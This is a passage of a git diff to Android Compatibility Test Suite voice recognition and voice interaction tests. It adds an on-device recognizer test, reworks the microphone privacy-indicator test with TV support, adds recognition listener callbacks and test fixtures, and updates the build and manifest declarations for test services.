diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/OnDeviceRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/OnDeviceRecognitionServiceTest.java
new file mode 100644
index 0000000..22a10df
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/OnDeviceRecognitionServiceTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.content.ComponentName;
+import android.speech.SpeechRecognizer;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+/** Recognition service tests for a default speech recognition service. */
+@RunWith(AndroidJUnit4.class)
+public final class OnDeviceRecognitionServiceTest extends AbstractRecognitionServiceTest {
+    private static final String TAG = OnDeviceRecognitionServiceTest.class.getSimpleName();
+
+    private SpeechRecognizer mRecognizer;
+
+    @Before
+    public void setUp() {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                "android.permission.MANAGE_SPEECH_RECOGNITION");
+    }
+
+    @After
+    public void tearDown() {
+        mRecognizer.setTemporaryOnDeviceRecognizer(null);
+        mRecognizer = null;
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Override
+    protected void setCurrentRecognizer(SpeechRecognizer recognizer, String component) {
+        Log.i(TAG, "Setting recognizer to " + component);
+        mRecognizer = recognizer;
+        recognizer.setTemporaryOnDeviceRecognizer(ComponentName.unflattenFromString(component));
+    }
+
+    @Override
+    boolean isOnDeviceTest() {
+        return true;
+    }
+
+    @Override
+    String customRecognizer() {
+        // We will use the default one (specified in config).
+        return null;
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index 086c1c7..19410b3 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -22,113 +22,105 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
-import android.app.compat.CompatChanges;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
-import android.os.Process;
 import android.os.SystemClock;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
-import android.text.TextUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.stream.Collectors;
+
 @RunWith(AndroidJUnit4.class)
 public final class RecognitionServiceMicIndicatorTest {
 
     private final String TAG = "RecognitionServiceMicIndicatorTest";
     // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
     private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
-    // same as Settings.Secure.VOICE_INTERACTION_SERVICE
-    private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+    // Same as PrivacyItemController DEFAULT_MIC_CAMERA
+    private final boolean DEFAULT_MIC_CAMERA = true;
     // Th notification privacy indicator
-    private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_CHIP_PACKAGE_NAME = "com.android.systemui";
     private final String PRIVACY_CHIP_ID = "privacy_chip";
+    private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_DIALOG_CONTENT_ID = "text";
+    private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
     // The cts app label
     private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
     // A simple test voice recognition service implementation
     private final String CTS_VOICE_RECOGNITION_SERVICE =
             "android.recognitionservice.service/android.recognitionservice.service"
                     + ".CtsVoiceRecognitionService";
-    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
     private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
     private final long UI_WAIT_TIMEOUT = 1000L;
-    private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
 
+    protected final Context mContext = InstrumentationRegistry.getTargetContext();
+    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
+            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
     private UiDevice mUiDevice;
     private SpeechRecognitionActivity mActivity;
-    private Context mContext;
-    private String mOriginalVoiceRecognizer;
     private String mCameraLabel;
-    private boolean mOriginalIndicatorsEnabledState;
-    private boolean mTestRunnung;
+    private String mOriginalIndicatorsState;
 
     @Rule
     public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
             new ActivityTestRule<>(SpeechRecognitionActivity.class);
 
+    @Rule
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
+            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
+                    mOriginalVoiceRecognizer);
+
     @Before
     public void setup() {
-        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
-        // the change is set to "false" if present.
-        assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
-                () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
-                        Process.SYSTEM_UID)));
-        final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
-        boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-        assumeFalse("Not run in the tv device", hasTvFeature);
-        mTestRunnung = true;
         prepareDevice();
-        mContext = InstrumentationRegistry.getTargetContext();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mActivity = mActivityTestRule.getActivity();
+        mActivity.init(false, null);
 
+        final PackageManager pm = mContext.getPackageManager();
         try {
             mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
                     pm).toString();
         } catch (PackageManager.NameNotFoundException e) {
         }
-        // get original indicator enable state
         runWithShellPermissionIdentity(() -> {
-            mOriginalIndicatorsEnabledState =
-                    DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+            mOriginalIndicatorsState =
+                    DeviceConfig.getProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG);
+            Log.v(TAG, "setup(): mOriginalIndicatorsState=" + mOriginalIndicatorsState);
         });
-        // get original voice services
-        mOriginalVoiceRecognizer = Settings.Secure.getString(
-                mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
-        // QPR is default disabled, we need to enable it
-        setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+        setIndicatorsEnabledState(Boolean.toString(true));
     }
 
     @After
     public void teardown() {
-        if (!mTestRunnung) {
-            return;
-        }
         // press back to close the dialog
-        mUiDevice.pressBack();
-        // restore to original voice services
-        setCurrentRecognizer(mOriginalVoiceRecognizer);
-        // restore to original indicator enable state
-        setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+        mUiDevice.pressHome();
+        // Restore original value.
+        setIndicatorsEnabledState(mOriginalIndicatorsState);
     }
 
     private void prepareDevice() {
@@ -138,17 +130,6 @@
         runShellCommand("wm dismiss-keyguard");
     }
 
-    private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
-        runWithShellPermissionIdentity(() -> {
-            final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
-                    INDICATORS_FLAG, false);
-            if (currentlyEnabled != shouldBeEnabled) {
-                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
-                        shouldBeEnabled.toString(), false);
-            }
-        });
-    }
-
     private void setCurrentRecognizer(String recognizer) {
         runWithShellPermissionIdentity(
                 () -> Settings.Secure.putString(mContext.getContentResolver(),
@@ -156,6 +137,13 @@
         mUiDevice.waitForIdle();
     }
 
+    private void setIndicatorsEnabledState(String enabled) {
+        runWithShellPermissionIdentity(
+                () -> DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                        enabled, false));
+        mUiDevice.waitForIdle();
+    }
+
     private boolean hasPreInstalledRecognizer(String packageName) {
         Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
         try {
@@ -173,18 +161,18 @@
     }
 
     @Test
-    public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+    public void testNonTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
         // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a untrusted case.
         setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
 
         // verify that the untrusted app cannot blame the calling app mic access
-        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
     }
 
     @Test
     public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
-        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // This is a workaround solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a trusted case.
         boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
                 getComponentPackageNameFromString(mOriginalVoiceRecognizer));
@@ -199,39 +187,73 @@
         // Start SpeechRecognition
         mActivity.startListening();
 
-        assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+        final PackageManager pm = mContext.getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            assertTvIndicatorsShown(trustVoiceService);
+        } else {
+            assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+        }
+    }
+
+    private void assertTvIndicatorsShown(boolean trustVoiceService) {
+        Log.v(TAG, "assertTvIndicatorsShown");
+        final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+        wmState.waitFor(
+                state -> {
+                    if (trustVoiceService) {
+                        return state.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE)
+                                && state.isWindowVisible(TV_MIC_INDICATOR_WINDOW_TITLE);
+                    } else {
+                        return !state.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE);
+                    }
+                },
+                "Waiting for the mic indicator window to come up");
     }
 
     private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
         // Open notification and verify the privacy indicator is shown
-        mUiDevice.openNotification();
+        mUiDevice.openQuickSettings();
         SystemClock.sleep(UI_WAIT_TIMEOUT);
 
         final UiObject2 privacyChip =
-                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACKAGE_NAME, PRIVACY_CHIP_ID));
         assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
 
         // Click the privacy indicator and verify the calling app name display status in the dialog.
         privacyChip.click();
         SystemClock.sleep(UI_WAIT_TIMEOUT);
 
-        final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+        // Make sure dialog is shown
+        List<UiObject2> recognitionCallingAppLabels = mUiDevice.findObjects(
+                By.res(PRIVACY_DIALOG_PACKAGE_NAME, PRIVACY_DIALOG_CONTENT_ID));
+        assertWithMessage("No permission dialog shown after clicking  privacy chip.").that(
+                recognitionCallingAppLabels).isNotEmpty();
+
+        // get dialog content
+        final String dialogDescription =
+                recognitionCallingAppLabels
+                        .stream()
+                        .map(UiObject2::getText)
+                        .collect(Collectors.joining("\n"));
+        Log.i(TAG, "Retrieved dialog description " + dialogDescription);
         if (trustVoiceService) {
-            // Check trust recognizer can blame calling app mic permission
+            // Check trust recognizer can blame calling apmic permission
             assertWithMessage(
                     "Trusted voice recognition service can blame the calling app name " + APP_LABEL
-                            + ", but does not find it.").that(
-                    recognitionCallingAppLabel).isNotNull();
-            assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+                            + ", but does not find it.")
+                    .that(dialogDescription)
+                    .contains(APP_LABEL);
 
             // Check trust recognizer cannot blame non-mic permission
-            final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
             assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
-                    .that(cemaraLabel).isNull();
+                    .that(dialogDescription)
+                    .doesNotContain(mCameraLabel);
         } else {
             assertWithMessage(
                     "Untrusted voice recognition service cannot blame the calling app name "
-                            + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+                            + APP_LABEL)
+                    .that(dialogDescription)
+                    .doesNotContain(APP_LABEL);
         }
         // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
         SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
new file mode 100644
index 0000000..9f673d9
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum RecognizerMethod {
+    RECOGNIZER_METHOD_UNSPECIFIED,
+    RECOGNIZER_METHOD_START_LISTENING,
+    RECOGNIZER_METHOD_STOP_LISTENING,
+    RECOGNIZER_METHOD_CANCEL,
+    RECOGNIZER_METHOD_DESTROY
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
index 66c8c9c..055bf9b 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -17,29 +17,40 @@
 package android.voicerecognition.cts;
 
 import android.app.Activity;
+import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Handler;
+import android.speech.RecognitionListener;
 import android.speech.RecognizerIntent;
 import android.speech.SpeechRecognizer;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 
 /**
  * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
  * to provide the voice recognition functions.
  */
 public class SpeechRecognitionActivity extends Activity {
-
     private final String TAG = "SpeechRecognitionActivity";
 
-    private SpeechRecognizer mRecognizer;
-    private Intent mRecognizerIntent;
+    SpeechRecognizer mRecognizer;
+
     private Handler mHandler;
+    private SpeechRecognizerListener mListener;
+
+    final List<CallbackMethod> mCallbackMethodsInvoked = new ArrayList<>();
+
+    public boolean mStartListeningCalled;
+    public CountDownLatch mCountDownLatch;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
-        init();
     }
 
     @Override
@@ -52,19 +63,95 @@
     }
 
     public void startListening() {
+        final Intent recognizerIntent =
+                new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+        recognizerIntent.putExtra(
+                RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+        startListening(recognizerIntent);
+    }
+
+    public void startListening(Intent intent) {
+        mHandler.post(() -> mRecognizer.startListening(intent));
+    }
+
+    public void stopListening() {
+        mHandler.post(mRecognizer::stopListening);
+    }
+
+    public void cancel() {
+        mHandler.post(mRecognizer::cancel);
+    }
+
+    public void destroyRecognizer() {
+        mHandler.post(mRecognizer::destroy);
+    }
+
+    public void init(boolean onDevice, String customRecognizerComponent) {
+        mHandler = new Handler(getMainLooper());
         mHandler.post(() -> {
-            if (mRecognizer != null) {
-                final Intent recognizerIntent =
-                        new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
-                recognizerIntent.putExtra(
-                        RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
-                mRecognizer.startListening(recognizerIntent);
+            if (onDevice) {
+                mRecognizer = SpeechRecognizer.createOnDeviceSpeechRecognizer(this);
+            } else if (customRecognizerComponent != null) {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this,
+                        ComponentName.unflattenFromString(customRecognizerComponent));
+            } else {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
             }
+
+            mListener = new SpeechRecognizerListener();
+            mRecognizer.setRecognitionListener(mListener);
+            mRecognizer.setRecognitionListener(mListener);
+            mStartListeningCalled = false;
+            mCountDownLatch = new CountDownLatch(1);
         });
     }
 
-    private void init() {
-        mHandler = new Handler(getMainLooper());
-        mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+    private class SpeechRecognizerListener implements RecognitionListener {
+
+        @Override
+        public void onReadyForSpeech(Bundle params) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_READY_FOR_SPEECH);
+        }
+
+        @Override
+        public void onBeginningOfSpeech() {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BEGINNING_OF_SPEECH);
+        }
+
+        @Override
+        public void onRmsChanged(float rmsdB) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RMS_CHANGED);
+        }
+
+        @Override
+        public void onBufferReceived(byte[] buffer) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BUFFER_RECEIVED);
+        }
+
+        @Override
+        public void onEndOfSpeech() {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_END_OF_SPEECH);
+        }
+
+        @Override
+        public void onError(int error) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_ERROR);
+        }
+
+        @Override
+        public void onResults(Bundle results) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RESULTS);
+            mStartListeningCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPartialResults(Bundle partialResults) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_PARTIAL_RESULTS);
+        }
+
+        @Override
+        public void onEvent(int eventType, Bundle params) {
+        }
     }
 }
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
new file mode 100644
index 0000000..b507f21
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.RecognizerIntent;
+
+class TestObjects {
+    public static final int ERROR_CODE = 42;
+    public static final float RMS_CHANGED_VALUE = 13.13f;
+
+    public static final Bundle RESULTS_BUNDLE = new Bundle();
+    static {
+        RESULTS_BUNDLE.putChar("a", 'a');
+    }
+    public static final Bundle PARTIAL_RESULTS_BUNDLE = new Bundle();
+    static {
+        PARTIAL_RESULTS_BUNDLE.putChar("b", 'b');
+    }
+    public static final Bundle READY_FOR_SPEECH_BUNDLE = new Bundle();
+    static {
+        READY_FOR_SPEECH_BUNDLE.putChar("c", 'c');
+    }
+    public static final Intent START_LISTENING_INTENT =
+            new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+    static {
+        START_LISTENING_INTENT.putExtra("d", 'd');
+    }
+}
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index 0f4a568..df37450 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -23,9 +23,17 @@
         "CtsVoiceInteractionCommon",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
-	"androidx.test.ext.junit",
+        "androidx.test.ext.junit",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java",
+        "service/src/android/voiceinteraction/service/MainHotwordDetectionService.java",
+        "service/src/android/voiceinteraction/service/MainInteractionService.java",
+        "service/src/android/voiceinteraction/service/MainInteractionSession.java",
+        "service/src/android/voiceinteraction/service/MainInteractionSessionService.java",
+        "service/src/android/voiceinteraction/service/MainRecognitionService.java"
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index 393d7a8..9d7839e 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -16,37 +16,86 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voiceinteraction.cts">
+     package="android.voiceinteraction.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
 
       <activity android:name="TestStartActivity"
-                android:label="Voice Interaction Target">
+           android:label="Voice Interaction Target"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_START_ACTIVITY" />
-              <category android:name="android.intent.category.LAUNCHER" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.TEST_START_ACTIVITY"/>
+              <category android:name="android.intent.category.LAUNCHER"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <activity android:name="TestLocalInteractionActivity"
-                android:label="Local Interaction Activity">
+           android:label="Local Interaction Activity"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_LOCAL_INTERACTION_ACTIVITY" />
+              <action android:name="android.intent.action.TEST_LOCAL_INTERACTION_ACTIVITY"/>
           </intent-filter>
       </activity>
+        <activity android:name="TestVoiceInteractionServiceActivity"
+            android:label="Voice Interaction Service Activity"
+            android:exported="true">
+        </activity>
+        <service android:name="android.voiceinteraction.service.BasicVoiceInteractionService"
+                 android:label="CTS test Basic voice interaction service"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true"
+                 android:visibleToInstantApps="true">
+            <meta-data android:name="android.voice_interaction"
+                       android:resource="@xml/interaction_service_with_hotword" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+        <service android:name="android.voiceinteraction.service.MainHotwordDetectionService"
+                 android:permission="android.permission.BIND_HOTWORD_DETECTION_SERVICE"
+                 android:isolatedProcess="true"
+                 android:exported="true">
+        </service>
+        <service android:name="android.voiceinteraction.service.MainInteractionService"
+                 android:label="CTS test voice interaction service"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true"
+                 android:visibleToInstantApps="true">
+            <meta-data android:name="android.voice_interaction"
+                       android:resource="@xml/interaction_service" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+        <service android:name="android.voiceinteraction.service.MainInteractionSessionService"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:process=":session"
+                 android:exported="true"
+                 android:visibleToInstantApps="true">
+        </service>
+        <service android:name="android.voiceinteraction.service.MainRecognitionService"
+                 android:label="CTS Voice Recognition Service"
+                 android:exported="true"
+                 android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <meta-data android:name="android.speech"
+                     android:resource="@xml/recognition_service" />
+        </service>
       <receiver android:name="VoiceInteractionTestReceiver"
-              android:exported="true" />
+           android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.voiceinteraction.cts"
-                     android:label="CTS tests of android.voiceinteraction">
+         android:targetPackage="android.voiceinteraction.cts"
+         android:label="CTS tests of android.voiceinteraction">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/voiceinteraction/TEST_MAPPING b/tests/tests/voiceinteraction/TEST_MAPPING
new file mode 100644
index 0000000..50cc659
--- /dev/null
+++ b/tests/tests/voiceinteraction/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsVoiceInteractionTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index d949326..dd60884 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -45,6 +45,23 @@
 
     public static final long OPERATION_TIMEOUT_MS = 5000;
 
+    /** Decide which VoiceInteractionService should be started for testing. */
+    public static final int HOTWORD_DETECTION_SERVICE_NONE = 0;
+    public static final int HOTWORD_DETECTION_SERVICE_BASIC = 1;
+    public static final int HOTWORD_DETECTION_SERVICE_INVALIDATION = 2;
+    public static final int HOTWORD_DETECTION_SERVICE_WITHOUT_ISOLATED_PROCESS = 3;
+    public static final int HOTWORD_DETECTION_SERVICE_WITHIN_ISOLATED_PROCESS = 4;
+
+    /** Indicate which test event for testing. */
+    public static final int VOICE_INTERACTION_SERVICE_NORMAL_TEST = 0;
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_TEST = 1;
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_WITHOUT_PERMISSION_TEST = 2;
+
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS = 1;
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION = 2;
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION = 3;
+    public static final int HOTWORD_DETECTION_SERVICE_TRIGGER_SHARED_MEMORY_NOT_READ_ONLY = 4;
+
     public static final String TESTCASE_TYPE = "testcase_type";
     public static final String TESTINFO = "testinfo";
     public static final String BROADCAST_INTENT = "android.intent.action.VOICE_TESTAPP";
@@ -117,6 +134,12 @@
     public static final String SERVICE_NAME =
             "android.voiceinteraction.service/.MainInteractionService";
 
+    public static final String BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT =
+            "android.intent.action.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT";
+    public static final String KEY_SERVICE_TYPE = "serviceType";
+    public static final String KEY_TEST_EVENT = "testEvent";
+    public static final String KEY_TEST_RESULT = "testResult";
+
     public static final String toBundleString(Bundle bundle) {
         if (bundle == null) {
             return "null_bundle";
diff --git a/tests/tests/voiceinteraction/res/xml/interaction_service_with_hotword.xml b/tests/tests/voiceinteraction/res/xml/interaction_service_with_hotword.xml
new file mode 100644
index 0000000..f9732af
--- /dev/null
+++ b/tests/tests/voiceinteraction/res/xml/interaction_service_with_hotword.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
